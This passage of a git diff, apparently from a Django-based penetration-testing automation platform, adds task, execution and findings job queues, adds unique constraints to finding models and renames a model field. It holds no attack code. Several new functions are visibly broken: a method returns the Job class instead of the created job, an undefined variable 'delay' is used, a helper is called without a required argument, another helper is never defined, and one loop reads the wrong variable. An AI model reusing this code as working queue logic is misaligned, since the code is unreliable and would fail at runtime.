here. @@ -30,7 +30,9 @@ class Authentication(BaseInput): filters = [BaseInput.Filter(type=AuthenticationType, field="type")] - def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: + def parse( + self, target: Target = None, accumulated: Dict[str, Any] = {} + ) -> Dict[str, Any]: """Get useful information from this instance to be used in tool execution as argument. Args: @@ -39,7 +41,7 @@ def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: Returns: Dict[str, Any]: Useful information for tool executions, including accumulated if setted """ - output = self.target_port.parse() + output = self.target_port.parse(target, accumulated) output.update( { InputKeyword.COOKIE_NAME.name.lower(): self.name diff --git a/src/backend/executions/filters.py b/src/backend/executions/filters.py index 559decbd9..a8f8251d9 100644 --- a/src/backend/executions/filters.py +++ b/src/backend/executions/filters.py @@ -6,7 +6,7 @@ class ExecutionFilter(FilterSet): class Meta: model = Execution fields = { - "task": ["exact"], + "task": ["exact", "isnull"], "task__target": ["exact"], "task__target__target": ["exact", "icontains"], "task__target__project": ["exact"], diff --git a/src/backend/executions/models.py b/src/backend/executions/models.py index 69ec42bd0..dec5c17f7 100644 --- a/src/backend/executions/models.py +++ b/src/backend/executions/models.py @@ -9,7 +9,9 @@ class Execution(models.Model): """Execution model.""" - task = models.ForeignKey(Task, related_name="executions", on_delete=models.CASCADE) + task = models.ForeignKey( + Task, related_name="executions", on_delete=models.CASCADE, blank=True, null=True + ) group = models.IntegerField(default=1) # Job Id in the executions queue rq_job_id = models.TextField(max_length=50, blank=True, null=True) diff --git a/src/backend/executions/queues.py b/src/backend/executions/queues.py new file mode 100644 index 000000000..3105eda63 --- /dev/null +++ b/src/backend/executions/queues.py @@ -0,0 +1,173 @@ +import logging +from typing import Dict, List, Tuple + +import rq +from django.utils import timezone +from django_rq import job +from executions.models import Execution +from findings.framework.models import Finding +from findings.queues import FindingsQueue +from framework.models import BaseInput +from framework.queues import BaseQueue +from parameters.models import InputTechnology, InputVulnerability +from rq.job import Job +from rq.registry import DeferredJobRegistry +from target_ports.models import TargetPort +from tools.executors.base import BaseExecutor +from tools.models import Input, Tool +from tools.parsers.base import BaseParser +from wordlists.models import Wordlist + +logger = logging.getLogger() + + +class ExecutionsQueue(BaseQueue): + def __init__(self) -> None: + super().__init__("executions-queue") + self.findings_queue = FindingsQueue() + + def enqueue( + self, + execution: Execution, + findings: List[Finding], + target_ports: List[TargetPort], + input_vulnerabilities: List[InputVulnerability], + input_technologies: List[InputTechnology], + wordlists: List[Wordlist], + dependencies: List[Job] = [], + at_front: bool = False, + ) -> Job: + job = self.queue.enqueue( + self.consume, + execution=execution, + findings=findings, + target_ports=target_ports, + input_vulnerabilities=input_vulnerabilities, + input_technologies=input_technologies, + wordlists=wordlists, + result_ttl=7200, + depends_on=dependencies, + at_front=at_front, + ) + logger.info( + f"[Execution] Execution {execution.id} ({execution.configuration.tool.name} - " + f"{execution.configuration.name}) has been enqueued" + ) + job.meta["execution"] = execution + job.meta["target_ports"] = target_ports + job.meta["input_vulnerabilities"] = input_vulnerabilities + job.meta["input_technologies"] = input_technologies + job.meta["wordlists"] = wordlists + execution.enqueued_at = timezone.now() + execution.rq_job_id = job.id + execution.save(update_fields=["rq_job_id"]) + return Job + + @job("executions-queue") + def consume( + self, + execution: Execution, + findings: List[Finding], + target_ports: List[TargetPort], + input_vulnerabilities: List[InputVulnerability], + input_technologies: List[InputTechnology], + wordlists: List[Wordlist], + ) -> Tuple[Execution, List[Finding]]: + executor: BaseExecutor = execution.configuration.tool.get_executor_class()( + execution + ) + current_job = rq.get_current_job() + if not findings and current_job._dependency_ids: + ( + findings, + target_ports, + input_vulnerabilities, + input_technologies, + wordlists, + ) = self._get_findings_from_dependencies( + executor, + target_ports, + input_vulnerabilities, + input_technologies, + wordlists, + ).values() + executor.execute( + findings, target_ports, input_vulnerabilities, input_technologies, wordlists + ) + parser: BaseParser = execution.configuration.tool.get_parser_class()( + executor, execution.output_plain + ) + parser.parse() + self.findings_queue.enqueue(execution, parser.findings) + return execution, parser.findings + + def _get_findings_from_dependencies( + self, + executor: BaseExecutor, + target_ports: List[TargetPort], + input_vulnerabilities: List[InputVulnerability], + input_technologies: List[InputTechnology], + wordlists: List[Wordlist], + current_job: Job, + ) -> Dict[int, List[BaseInput]]: + findings = [] + for dependency_id in current_job._dependency_ids: + dependency = self.queue.fetch_job(dependency_id) + if dependency and dependency.result: + findings.extend(dependency.result[1]) + if not findings: + return findings + executions = [ + e + for e in self._calculate_executions( + executor.execution.configuration.tool, + findings, + target_ports, + input_vulnerabilities, + input_technologies, + wordlists, + ) + if executor.check_arguments( + e.get(0, []), e.get(1, []), e.get(2, []), e.get(3, []), e.get(4, []) + ) + ] + logger.info( + f"[Execution] New {len(executions) - 1} executions from previous findings" + ) + new_jobs = [] + for execution in executions[1:]: + new_execution = Execution.objects.create( + task=executor.execution.task, + configuration=executor.execution.configuration, + group=executor.execution.group, + ) + job = self.enqueue( + new_execution, + execution.get(0, []), + execution.get(1, []), + execution.get(2, []), + execution.get(3, []), + execution.get(4, []), + # At queue start, because it could be a dependency of next jobs + at_front=True, + ) + new_jobs.append(job.id) + if new_jobs: + registry = DeferredJobRegistry(queue=self.queue) + for pending_job_id in registry.get_job_ids(): + pending_job = self.queue.fetch_job(pending_job_id) + if pending_job and current_job.id in pending_job._dependency_ids: + dependencies = pending_job._dependency_ids + meta = pending_job.get_meta() + self.cancel_job(pending_job_id) + self.delete_job(pending_job_id) + self.enqueue( + meta["execution"], + [], + meta["target_ports"], + meta["input_vulnerabilities"], + meta["input_technologies"], + meta["wordlists"], + dependencies=dependencies + new_jobs, + ) + return executions[0] if executions else {} diff --git a/src/backend/findings/framework/models.py b/src/backend/findings/framework/models.py index 11a3d0cf0..817b7b404 100644 --- a/src/backend/findings/framework/models.py +++ b/src/backend/findings/framework/models.py @@ -1,6 +1,7 @@ -from typing import Any +from typing import Any, List -from django.db import models +from django.core.exceptions import NON_FIELD_ERRORS +from django.db import connection, models from executions.models import Execution from findings.enums import TriageStatus from framework.models import BaseInput @@ -14,7 +15,9 @@ class Finding(BaseInput): ) first_seen = models.DateTimeField(auto_now_add=True) last_seen = models.DateTimeField(auto_now_add=True) - triage_status = models.TextField(max_length=15, choices=TriageStatus.choices) + triage_status = models.TextField( + max_length=15, choices=TriageStatus.choices, default=TriageStatus.UNTRIAGED + ) triage_comment = models.TextField( max_length=300, validators=[Validator(Regex.TEXT.value, code="triage_comment")] ) @@ -22,6 +25,50 @@ class Finding(BaseInput): class Meta: abstract = True + @classmethod + def get_unique_fields(cls) -> List[str]: + for constraint in (cls._meta.original_attrs or {}).get("constraints", []): + if isinstance(constraint, models.UniqueConstraint): + return list(constraint.fields) + return [] + + # Method copied from https://github.com/django/django/blob/main/django/db/models/base.py#L1343 + def _perform_unique_checks(self, unique_checks): + errors = {} + for model_class, unique_check in unique_checks: + # Line modified to require findings to be unique by target + lookup_kwargs = { + "executions__task__target__in": self.executions.all().select_related( + "task__target" + ) + } + for field_name in unique_check: + f = self._meta.get_field(field_name) + lookup_value = getattr(self, f.attname) + if lookup_value is None or ( + lookup_value == "" + and connection.features.interprets_empty_strings_as_nulls + ): + continue + if f.primary_key and not self._state.adding: + continue + lookup_kwargs[str(field_name)] = lookup_value + if len(unique_check) != len(lookup_kwargs): + continue + qs = model_class._default_manager.filter(**lookup_kwargs) + model_class_pk = self._get_pk_val(model_class._meta) + if not self._state.adding and model_class_pk is not None: + qs = qs.exclude(pk=model_class_pk) + if qs.exists(): + if len(unique_check) == 1: + key = unique_check[0] + else: + key = NON_FIELD_ERRORS + errors.setdefault(key, []).append( + self.unique_error_message(model_class, unique_check) + ) + return errors + def get_project(self) -> Any: return self.executions.first().task.target.project diff --git a/src/backend/findings/models.py b/src/backend/findings/models.py index c432266b6..cf3200224 100644 --- a/src/backend/findings/models.py +++ b/src/backend/findings/models.py @@ -11,6 +11,7 @@ ) from findings.framework.models import Finding from framework.enums import InputKeyword +from target_ports.models import TargetPort from targets.enums import TargetType from targets.models import Target @@ -23,7 +24,17 @@ class OSINT(Finding): source = models.TextField(max_length=50, blank=True, null=True) reference = models.TextField(max_length=250, blank=True, null=True) - def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: + class Meta: + constraints = [ + models.UniqueConstraint( + fields=["data", "data_type"], + name="unique_osint", + ) + ] + + def parse( + self, target: Target = None, accumulated: Dict[str, Any] = {} + ) -> Dict[str, Any]: if self.data_type in [OSINTDataType.IP, OSINTDataType.DOMAIN]: return { InputKeyword.TARGET.name.lower(): self.data, @@ -53,9 +64,14 @@ class Host(Finding): max_length=10, choices=HostOS.choices, default=HostOS.OTHER ) + class Meta: + constraints = [models.UniqueConstraint(fields=["address"], name="unique_host")] + filters = [Finding.Filter(TargetType, "address", lambda a: Target.get_type(a))] - def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: + def parse( + self, target: Target = None, accumulated: Dict[str, Any] = {} + ) -> Dict[str, Any]: return { InputKeyword.TARGET.name.lower(): self.address, InputKeyword.HOST.name.lower(): self.address, @@ -95,7 +111,17 @@ class Port(Finding): Finding.Filter(str, "service", contains=True, processor=lambda s: s.lower()), ] - def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: + class Meta: + constraints = [ + models.UniqueConstraint( + fields=["host", "port", "protocol"], + name="unique_port", + ) + ] + + def parse( + self, target: Target = None, accumulated: Dict[str, Any] = {} + ) -> Dict[str, Any]: ports = ( [self.port] if not accumulated or InputKeyword.PORTS.name.lower() not in accumulated @@ -153,13 +179,34 @@ class Path(Finding): Finding.Filter(str, "path", contains=True, processor=lambda p: p.lower()), ] - def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: - output = self.port.parse(accumulated) if self.port else {} - output[InputKeyword.ENDPOINT.name.lower()] = self.path - if self.port: - output[InputKeyword.URL.name.lower()] = self._get_url( - self.port.host.address, self.port.port, self.path + class Meta: + constraints = [ + models.UniqueConstraint(fields=["port", "path"], name="unique_path") + ] + + def _clean_path_value(self, value: str) -> str: + if value[0] != "/": + value = f"/{value}" + if value[-1] != "/": + value += "/" + return value + + def parse( + self, target: Target = None, accumulated: Dict[str, Any] = {} + ) -> Dict[str, Any]: + output = self.port.parse(target, accumulated) if self.port else {} + target_port = TargetPort.objects.filter(target=target, port=self.port.port) + include_path_data = True + if target_port.exists(): + include_path_data = self._clean_path_value(self.path).startswith( + self._clean_path_value(target_port.first().path) ) + if include_path_data: + output[InputKeyword.ENDPOINT.name.lower()] = self.path + if self.port: + output[InputKeyword.URL.name.lower()] = self._get_url( + self.port.host.address, self.port.port, self.path + ) return output def defect_dojo(self) -> Dict[str, Any]: @@ -200,7 +247,17 @@ class Technology(Finding): Finding.Filter(str, "name", contains=True, processor=lambda n: n.lower()) ] - def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: + class Meta: + constraints = [ + models.UniqueConstraint( + fields=["port", "name", "version"], + name="unique_technology", + ) + ] + + def parse( + self, target: Target = None, accumulated: Dict[str, Any] = {} + ) -> Dict[str, Any]: """Get useful information from this instance to be used in tool execution as argument. Args: @@ -251,8 +308,23 @@ class Credential(Finding): secret = models.TextField(max_length=300, blank=True, null=True) context = models.TextField(max_length=300, blank=True, null=True) - def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: - output = self.technology.parse(accumulated) if self.technology else {} + class Meta: + constraints = [ + models.UniqueConstraint( + fields=[ + "technology", + "email", + "username", + "secret", + ], + name="unique_credential", + ) + ] + + def parse( + self, target: Target = None, accumulated: Dict[str, Any] = {} + ) -> Dict[str, Any]: + output = self.technology.parse(target, accumulated) if self.technology else {} for key, field in [ (InputKeyword.EMAIL.name.lower(), self.email), (InputKeyword.USERNAME.name.lower(), self.username), @@ -309,12 +381,27 @@ class Vulnerability(Finding): Finding.Filter(str, "cwe", contains=True, processor=lambda c: c.lower()), ] - def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: + class Meta: + constraints = [ + models.UniqueConstraint( + fields=[ + "technology", + "port", + "name", + "cve", + ], + name="unique_vulnerability", + ), + ] + + def parse( + self, target: Target = None, accumulated: Dict[str, Any] = {} + ) -> Dict[str, Any]: output = {InputKeyword.CVE.name.lower(): self.cve} if self.technology: - output.update(self.technology.parse(accumulated)) + output.update(self.technology.parse(target, accumulated)) elif self.port: - output.update(self.port.parse(accumulated)) + output.update(self.port.parse(target, accumulated)) return output def defect_dojo(self) -> Dict[str, Any]: @@ -360,12 +447,27 @@ class Exploit(Finding): edb_id = models.IntegerField(blank=True, null=True) # Id in Exploit-DB reference = models.TextField(max_length=250, blank=True, null=True) - def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: + class Meta: + constraints = [ + models.UniqueConstraint( + fields=[ + "vulnerability", + "technology", + "edb_id", + "reference", + ], + name="unique_exploit", + ), + ] + + def parse( + self, target: Target = None, accumulated: Dict[str, Any] = {} + ) -> Dict[str, Any]: output = {InputKeyword.EXPLOIT.name.lower(): self.title} if self.vulnerability: - output.update(self.vulnerability.parse(accumulated)) + output.update(self.vulnerability.parse(target, accumulated)) elif self.technology: - output.update(self.technology.parse(accumulated)) + output.update(self.technology.parse(target, accumulated)) return output def defect_dojo(self) -> Dict[str, Any]: diff --git a/src/backend/findings/queues.py b/src/backend/findings/queues.py new file mode 100644 index 000000000..aebfc2cf6 --- /dev/null +++ b/src/backend/findings/queues.py @@ -0,0 +1,27 @@ +import logging +from typing import Any, List + +from django_rq import job +from executions.models import Execution +from findings.models import Finding +from framework.queues import BaseQueue +from rq.job import Job + +logger = logging.getLogger() + + +class FindingsQueue(BaseQueue): + def __init__(self) -> None: + super().__init__("findings-queue") + + def enqueue(self, execution: Execution, findings: List[Finding]) -> Job: + job = super().enqueue(execution=execution, findings=findings) + logger.info( + f"[Findings] {len(findings)} findings from execution {execution.id} have been enqueued" + ) + return job + + @job("findings-queue") + def consume(self, execution: Execution, findings: List[Finding]) -> List[Finding]: + # TODO: Requires the implementation of new integrations + pass diff --git a/src/backend/framework/models.py b/src/backend/framework/models.py index 67ec6e745..cb947f7a2 100644 --- a/src/backend/framework/models.py +++ b/src/backend/framework/models.py @@ -3,6 +3,7 @@ import requests import urllib3 from django.db import models +from django.db.models import Q from rekono.settings import AUTH_USER_MODEL @@ -124,7 +125,9 @@ def filter(self, input: Any) -> bool: pass return False - def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: + def parse( + self, target: Any = None, accumulated: Dict[str, Any] = {} + ) -> Dict[str, Any]: """Get useful information from this instance to be used in tool execution as argument. To be implemented by subclasses. @@ -137,6 +140,12 @@ def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: """ return {} # pragma: no cover + def get_input_type(self) -> Any: + from input_types.models import InputType + + reference = f"{self._meta.app_label}.{self._meta.model_name}" + return InputType.objects.get(Q(model=reference) | Q(fallback_model=reference)) + class BaseLike(BaseModel): """Common and abstract LikeBase model, to define common fields for all models that user can like.""" diff --git a/src/backend/framework/queues.py b/src/backend/framework/queues.py new file mode 100644 index 000000000..dd7dc96ff --- /dev/null +++ b/src/backend/framework/queues.py @@ -0,0 +1,121 @@ +import logging +from typing import Any, Dict, List + +import django_rq +from findings.framework.models import Finding +from framework.models import BaseInput +from input_types.models import InputType +from parameters.models import InputTechnology, InputVulnerability +from rq.job import Job +from target_ports.models import TargetPort +from tools.models import Input, Tool +from wordlists.models import Wordlist + +logger = logging.getLogger() + + +class BaseQueue: + def __init__(self, name: str) -> None: + self.name = name + self.queue = django_rq.get_queue(name) + + def cancel_job(self, job_id: str) -> Job: + job = self.queue.fetch_job(job_id) + if job: + logger.info(f"[{self.name}] Job {job_id} has been cancelled") + job.cancel() + + def delete_job(self, job_id: str) -> Job: + job = self.queue.fetch_job(job_id) + if job: + logger.info(f"[{self.name}] Job {job_id} has been deleted") + job.delete() + + def enqueue(self, **kwargs: Any) -> Job: + return self.queue.enqueue(self.consume, **kwargs) + + def consume(self, **kwargs: Any) -> Any: + pass + + def _calculate_executions( + self, + tool: Tool, + findings: List[Finding], + target_ports: List[TargetPort], + input_vulnerabilities: List[InputVulnerability], + input_technologies: List[InputTechnology], + wordlists: List[Wordlist], + ) -> List[Dict[int, List[BaseInput]]]: + executions = [{0: []}] + input_types_used = set() + findings_by_type = { + t: [f for f in findings if f.get_input_type() == t] + for t in InputType.objects.all() + } + findings_by_type = dict( + sorted( + findings_by_type.items(), + key=lambda i: len(i[0].get_related_input_types()), + ) + ) + for index, input_type, source in ( + [(0, t, list(f)) for t, f in findings_by_type.values() if f] + if findings_by_type + else [] + ) + [ + (index + 1, None, p) + for p in [ + target_ports, + input_vulnerabilities, + input_technologies, + wordlists, + ] + ]: + if not source: + continue + if not input_type: + input_type = source[0].get_input_type() + if input_type in input_types_used: + continue + argument_inputs = Input.objects.filter( + argument__tool=tool, type=input_type + ).order_by("order") + filtered_base_inputs = [ + base_input + for base_input in source + if len([i for i in argument_inputs if base_input.filter(i)]) > 0 + ] + if not filtered_base_inputs: + continue + argument_input = argument_inputs.first().argument + related_input_types = input_type.get_related_input_types() + for execution in executions: + if not execution.get(index): + execution[index] = [] + related_base_inputs = filtered_base_inputs.copy() + if index == 0 and related_input_types: + related_base_inputs = [] + for existing_base_input in execution[index]: + existing_input_type = base_input.get_input_type() + if existing_input_type in related_input_types: + related_base_inputs.extend( + [ + f + for f in filtered_base_inputs + if getattr(f, existing_input_type.name.lower()) + == existing_base_input + ] + ) + if not related_base_inputs: + continue + if argument_input.multiple: + execution[index].extend(related_base_inputs) + input_types_used.add(input_type) + else: + original_execution = execution.copy() + input_types_used.add(input_type) + execution[index].append(related_base_inputs[0]) + for base_input in related_base_inputs[1:]: + executions.append(original_execution) + executions[-1][index].append(base_input) + return executions diff --git a/src/backend/input_types/fixtures/1_input_types.json b/src/backend/input_types/fixtures/1_input_types.json index 7923f81dc..ecacd9a91 100644 --- a/src/backend/input_types/fixtures/1_input_types.json +++ b/src/backend/input_types/fixtures/1_input_types.json @@ -5,7 +5,7 @@ "fields": { "name": "OSINT", "model": "findings.osint", - "callback_model": null, + "fallback_model": null, "relationships": true } }, @@ -15,7 +15,7 @@ "fields": { "name": "Host", "model": "findings.host", - "callback_model": "targets.target", + "fallback_model": "targets.target", "relationships": true } }, @@ -25,7 +25,7 @@ "fields": { "name": "Port", "model": "findings.port", - "callback_model": "targets.targetport", + "fallback_model": "targets.targetport", "relationships": true } }, @@ -35,7 +35,7 @@ "fields": { "name": "Path", "model": "findings.path", - "callback_model": null, + "fallback_model": null, "relationships": true } }, @@ -45,7 +45,7 @@ "fields": { "name": "Technology", "model": "findings.technology", - "callback_model": "parameters.inputtechnology", + "fallback_model": "parameters.inputtechnology", "relationships": true } }, @@ -55,7 +55,7 @@ "fields": { "name": "Vulnerability", "model": "findings.vulnerability", - "callback_model": "parameters.inputvulnerability", + "fallback_model": "parameters.inputvulnerability", "relationships": true } }, @@ -65,7 +65,7 @@ "fields": { "name": "Credential", "model": "findings.credential", - "callback_model": null, + "fallback_model": null, "relationships": true } }, @@ -75,7 +75,7 @@ "fields": { "name": "Exploit", "model": "findings.exploit", - "callback_model": null, + "fallback_model": null, "relationships": true } }, @@ -85,7 +85,7 @@ "fields": { "name": "Wordlist", "model": null, - "callback_model": "wordlists.wordlist", + "fallback_model": "wordlists.wordlist", "relationships": true } }, @@ -95,7 +95,7 @@ "fields": { "name": "Authentication", "model": "authentications.authentication", - "callback_model": null, + "fallback_model": null, "relationships": false } } diff --git a/src/backend/input_types/models.py b/src/backend/input_types/models.py index a9e496d69..1bb0e21be 100644 --- a/src/backend/input_types/models.py +++ b/src/backend/input_types/models.py @@ -15,7 +15,7 @@ class InputType(BaseModel): # Related model name in 'app.Model' format. It can be a reference to a Finding model = models.TextField(max_length=30, null=True, blank=True) # Related callback model name in 'app.Model' format. It will be used when 'model' is not available - callback_model = models.TextField(max_length=15, null=True, blank=True) + fallback_model = models.TextField(max_length=15, null=True, blank=True) # Indicate if the input type should be included to calculate relations between models and executions relationships = models.BooleanField(default=True) @@ -38,9 +38,7 @@ def _get_class_from_reference(self, reference: str) -> BaseInput: """ if not reference: return None - app_label, model_name = reference.split( - ".", 1 - ) # Get model attributes from reference + app_label, model_name = reference.split(".", 1) return apps.get_model(app_label=app_label, model_name=model_name) def get_model_class(self) -> Union[BaseInput, None]: @@ -51,13 +49,13 @@ def get_model_class(self) -> Union[BaseInput, None]: """ return self._get_class_from_reference(self.model) - def get_callback_model_class(self) -> Union[BaseInput, None]: - """Get callback model from 'callback_model' reference. + def get_fallback_model_class(self) -> Union[BaseInput, None]: + """Get callback model from 'fallback_model' reference. Returns: BaseInput: Callback model of the input type """ - return self._get_class_from_reference(self.callback_model) + return self._get_class_from_reference(self.fallback_model) def get_related_input_types(self) -> List[Self]: """Get relations between the different input types. diff --git a/src/backend/input_types/serializers.py b/src/backend/input_types/serializers.py index 69fe65e90..3fb5e5062 100644 --- a/src/backend/input_types/serializers.py +++ b/src/backend/input_types/serializers.py @@ -12,5 +12,5 @@ class Meta: fields = ( "name", "model", - "callback_model", + "fallback_model", ) diff --git a/src/backend/parameters/models.py b/src/backend/parameters/models.py index d9325e894..1efc8b061 100644 --- a/src/backend/parameters/models.py +++ b/src/backend/parameters/models.py @@ -35,7 +35,9 @@ class Meta: ) ] - def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: + def parse( + self, target: Target = None, accumulated: Dict[str, Any] = {} + ) -> Dict[str, Any]: """Get useful information from this instance to be used in tool execution as argument. Args: @@ -44,7 +46,7 @@ def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: Returns: Dict[str, Any]: Useful information for tool executions, including accumulated if setted """ - output = self.target.parse() + output = self.target.parse(target, accumulated) output[InputKeyword.TECHNOLOGY.name.lower()] = self.name if self.version: output[InputKeyword.VERSION.name.lower()] = self.version @@ -86,7 +88,9 @@ class Meta: ) ] - def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: + def parse( + self, target: Target = None, accumulated: Dict[str, Any] = {} + ) -> Dict[str, Any]: """Get useful information from this instance to be used in tool execution as argument. Args: @@ -95,7 +99,7 @@ def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: Returns: Dict[str, Any]: Useful information for tool executions, including accumulated if setted """ - output = self.target.parse() + output = self.target.parse(target, accumulated) output[InputKeyword.CVE.name.lower()] = self.cve return output diff --git a/src/backend/security/middleware.py b/src/backend/security/middleware.py index f40bf6ca4..c29d0f28a 100644 --- a/src/backend/security/middleware.py +++ b/src/backend/security/middleware.py @@ -67,9 +67,7 @@ def __init__(self, get_response: Any) -> None: def _get_forwarded_address(self, request: HttpRequest) -> str: x_forwarded_for = request.META.get("HTTP_X_FORWARDED_FOR") if x_forwarded_for and CONFIG.trusted_proxy: - if "," in x_forwarded_for: - x_forwarded_for = x_forwarded_for.split(",", 1)[0] - return x_forwarded_for + return x_forwarded_for.split(",", 1)[0] def _http_options(self, request: HttpRequest) -> Response: response = Response(status=status.HTTP_200_OK) diff --git a/src/backend/target_ports/models.py b/src/backend/target_ports/models.py index 4e39feeb6..6f26fb0cd 100644 --- a/src/backend/target_ports/models.py +++ b/src/backend/target_ports/models.py @@ -36,7 +36,9 @@ class Meta: ) ] - def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: + def parse( + self, target: Target = None, accumulated: Dict[str, Any] = {} + ) -> Dict[str, Any]: """Get useful information from this instance to be used in tool execution as argument. Args: diff --git a/src/backend/targets/models.py b/src/backend/targets/models.py index 860fae776..79f9f595d 100644 --- a/src/backend/targets/models.py +++ b/src/backend/targets/models.py @@ -76,7 +76,9 @@ def get_type(target: str) -> str: params={"value": target}, ) - def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: + def parse( + self, target: Any = None, accumulated: Dict[str, Any] = {} + ) -> Dict[str, Any]: """Get useful information from this instance to be used in tool execution as argument. Args: diff --git a/src/backend/tasks/queues.py b/src/backend/tasks/queues.py new file mode 100644 index 000000000..afd6b4b1d --- /dev/null +++ b/src/backend/tasks/queues.py @@ -0,0 +1,175 @@ +import logging +from datetime import timedelta +from typing import Any + +from django.db.models import Max +from django.utils import timezone +from django_rq import job +from executions.enums import Status +from executions.models import Execution +from executions.queues import ExecutionsQueue +from framework.queues import BaseQueue +from input_types.models import InputType +from processes.models import Step +from rq.job import Job +from tasks.models import Task +from tools.models import Intensity + +logger = logging.getLogger() + + +class TasksQueue(BaseQueue): + def __init__(self) -> None: + super().__init__("tasks-queue") + self.executions_queue = ExecutionsQueue() + + def enqueue(self, task: Task) -> Job: + if task.scheduled_at: + task.enqueued_at = task.scheduled_at + job = self.queue.enqueue_at( + task.scheduled_at, + self.consume, + task=task, + on_success=self._scheduled_callback, + ) + logger.info( + f"[Task] Task {task.id} will be enqueued at {task.scheduled_at}" + ) + elif task.scheduled_in and task.scheduled_time_unit: + task.enqueued_at = timezone.now() + timedelta(**delay) + job = self.queue.enqueue_in( + timedelta(**{task.scheduled_time_unit.lower(): task.scheduled_in}), + self.consume, + task=task, + on_success=self._scheduled_callback, + ) + logger.info( + f"[Task] Task {task.id} will be enqueued in {task.scheduled_in} {task.scheduled_time_unit}" + ) + else: + task.enqueued_at = timezone.now() + job = self.queue.enqueue( + self.consume, task=task, on_success=self._scheduled_callback + ) + logger.info(f"[Task] Task {task.id} has been enqueued") + task.rq_job_id = job.id + task.save(update_fields=["enqueued_at", "rq_job_id"]) + return job + + @job("tasks-queue") + def consume(self, task: Task) -> Task: + if task.executions: + task.executions.clear() + if task.configuration: + self._consume_tool_task(task) + elif task.process: + self._consume_process_task(task) + return task + + def _consume_tool_task(self, task: Task) -> None: + executions = self._calculate_executions( + task.configuration.tool, + [], + task.target.target_ports, + task.target.input_vulnerabilities, + task.target.input_technologies, + task.wordlists, + ) + for parameters in executions or [{}]: + execution = Execution.objects.create( + task=task, configuration=task.configuration, group=1 + ) + self.executions_queue.enqueue( + execution, + [], + parameters.get(1, []), + parameters.get(2, []), + parameters.get(3, []), + parameters.get(4, []), + ) + + def _consume_process_task(self, task: Task) -> None: + plan = [] + steps = ( + Step.objects.annotate( + max_input=Max("tool__arguments__inputs__type__id"), + max_output=Max("configuration__outputs__type__id"), + ) + .filter(process=task.process) + .order_by("configuration__stage", "max_output", "max_input") + ) + for step in steps: + item = { + "step": step, + "inputs": InputType.objects.filter( + inputs__argument__tool=step.configuration.tool + ).distinct(), + "outputs": InputType.objects.filter( + outputs__configuration=step.configuration + ).distinct(), + "dependencies": set(), + "jobs": [], + "group": 1, + } + if Intensity.objects.filter( + tool=step.tool, value__lte=task.intensity + ).exists(): + for job in plan: + for output in job.get("outputs"): + if output in item.get("inputs"): + item["group"] = max([item["group"], job["group"] + 1]) + item["dependencies"].add(job) + plan.append(item) + else: + Execution.objects.create( + task=task, + configuration=step.configuration, + group=1, + status=Status.SKIPPED, + skipped_reason=f"Tool {step.configuration.tool.name} can't be executed with intensity {task.intensity.value.value}", + ) + for job in plan: + executions = self._calculate_executions_from_task_parameters( + step.configuration.tool, + [], + task.target.target_ports, + task.target.input_vulnerabilities, + task.target.input_technologies, + task.wordlists, + ) + for parameters in executions or [{}]: + execution = Execution.objects.create( + task=task, + configuration=job.get("step").configuration, + group=job.get("group"), + ) + job["jobs"].append( + self.executions_queue.enqueue( + execution, + parameters.get(0, []), + parameters.get(1, []), + parameters.get(2, []), + parameters.get(3, []), + parameters.get(4, []), + dependencies=sum( + [j.get("jobs") for j in job.get("dependencies")], [] + ), + ) + ) + + def _scheduled_callback( + self, job: Any, connection: Any, result: Task, *args: Any, **kwargs: Any + ) -> None: + if result and result.repeat_in and result.repeat_time_unit: + result.enqueued_at = result.enqueued_at + timedelta( + **{result.repeat_time_unit.lower(): result.repeat_in} + ) + job = self.queue.enqueue_at( + result.enqueued_at, + self.consume, + task=result, + on_success=self._scheduled_callback, + ) + logger.info(f"[Task] Scheduled task {result.id} has been enqueued again") + result.rq_job_id = job.id + result.save(update_fields=["enqueued_at", "rq_job_id"]) diff --git a/src/backend/tasks/serializers.py b/src/backend/tasks/serializers.py index 61e6d5731..a8c140900 100644 --- a/src/backend/tasks/serializers.py +++ b/src/backend/tasks/serializers.py @@ -6,6 +6,7 @@ from rest_framework.serializers import ModelSerializer from targets.serializers import SimpleTargetSerializer from tasks.models import Task +from tasks.queues import TasksQueue from tools.enums import Intensity from tools.fields import IntegerChoicesField from tools.models import Intensity @@ -96,5 +97,5 @@ def create(self, validated_data: Dict[str, Any]) -> Task: Task: Created instance """ task = super().create(validated_data) - # TODO: Enqueue task in tasks queue + TasksQueue().enqueue(task) return task diff --git a/src/backend/tasks/views.py b/src/backend/tasks/views.py index 7ee470126..c8dde0dad 100644 --- a/src/backend/tasks/views.py +++ b/src/backend/tasks/views.py @@ -5,6 +5,7 @@ from django.utils import timezone from drf_spectacular.utils import extend_schema from executions.enums import Status +from executions.queues import ExecutionsQueue from framework.views import BaseViewSet from rest_framework import status from rest_framework.decorators import action @@ -13,6 +14,7 @@ from rq.command import send_stop_job_command from tasks.filters import TaskFilter from tasks.models import Task +from tasks.queues import TasksQueue from tasks.serializers import TaskSerializer # Create your views here. @@ -48,6 +50,8 @@ class TaskViewSet(BaseViewSet): "post", "delete", ] + tasks_queue = TasksQueue() + executions_queue = ExecutionsQueue() def destroy(self, request: Request, *args: Any, **kwargs: Any) -> Response: """Cancel task. @@ -64,18 +68,18 @@ def destroy(self, request: Request, *args: Any, **kwargs: Any) -> Response: ).all() if running_executions: if task.rq_job_id: - # TODO: cancel queue job + self.tasks_queue.cancel_job(task.rq_job_id) + self.tasks_queue.delete_job(task.rq_job_id) logger.info(f"[Task] Task 